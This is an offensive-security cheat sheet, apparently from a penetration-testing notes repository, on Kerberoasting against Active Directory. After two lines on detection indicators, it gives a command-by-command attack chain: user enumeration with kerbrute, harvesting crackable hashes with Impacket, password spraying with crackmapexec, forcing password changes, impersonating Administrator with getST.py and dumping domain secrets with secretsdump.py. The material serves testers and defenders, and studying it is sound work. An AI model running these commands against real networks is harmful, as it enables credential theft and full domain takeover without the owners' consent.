killchain-compendium/Enumeration/Kerberoast.md

73 lines
1.5 KiB
Markdown
Raw Normal View History

2022-11-13 01:16:26 +01:00
# Kerberoast
2026-04-03 21:17:36 +02:00
An indicator for kerberoast are downgraded RC4 encryption instead of AES.
That means `Ticket_Encryption_Type=0x17` (RC4) instead of `0x12` (AES-256).
The event code for TGS, which is needed for kerberoasting is `4769`.
2022-11-13 01:16:26 +01:00
## Usage
### List users
```sh
kerbrute userenum -d $DOMAIN --dc $TARGET_IP $USER_LIST
2023-04-22 16:33:06 +02:00
kerbrute userenmum --dc $TARGET_IP --domain $DOMAIN $USER_LIST --downgrade
2022-11-13 01:16:26 +01:00
```
### Get Users
2026-04-03 21:17:36 +02:00
2022-11-13 01:16:26 +01:00
* Impacket's `GetNPUsers.py` to get Hashes of userlist
2026-04-03 21:17:36 +02:00
2022-11-13 01:16:26 +01:00
```sh
GetNPUsers.py -no-pass <DomainName>/ -usersfile users.txt -format john -outputfile hashes
```
### Find SPNs
2026-04-03 21:17:36 +02:00
2022-11-13 01:16:26 +01:00
```sh
2026-04-03 21:17:36 +02:00
GetUserSPNs.py -request <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP
2022-11-13 01:16:26 +01:00
```
2026-04-03 21:17:36 +02:00
2022-11-13 01:16:26 +01:00
or
2026-04-03 21:17:36 +02:00
2022-11-13 01:16:26 +01:00
```sh
pyverview get-netuser -u <USER> -p <PASSWORD> -t <SUBDOMAIN> -d <DOMAIN>
```
### Further Intel
```sh
findDelegation.py -debug <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP
```
### Check Found Users
2026-04-03 21:17:36 +02:00
Use crackmapexec to check access to further user accounts with the password of the user found with `GetNPUsers.py`
2022-11-13 01:16:26 +01:00
```sh
crackmapexec smb $TARGET_IP -u users.txt -p pass.txt
```
2026-04-03 21:17:36 +02:00
Watch out for `STATUS_PASSWORD_MUST_CHANGE`
Change password with
2022-11-13 01:16:26 +01:00
```sh
smbpasswd.py <user>@$TARGET_IP -newpass password123
```
### Impersonate
```sh
getST.py -spn <USER>/<SUBDOMAIN> -impersonate Administrator '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip $TARGET_IP
```
2026-04-03 21:17:36 +02:00
* Serviceticket is safe as `Administrator.ccache`
2022-11-13 01:16:26 +01:00
* `export KRB5CCNAME=Administrator.ccache`
2026-04-03 21:17:36 +02:00
After that dump secrets:
2022-11-13 01:16:26 +01:00
```sh
2026-04-03 21:17:36 +02:00
secretsdump.py -k -no-pass <DOMAIN>
2022-11-13 01:16:26 +01:00
```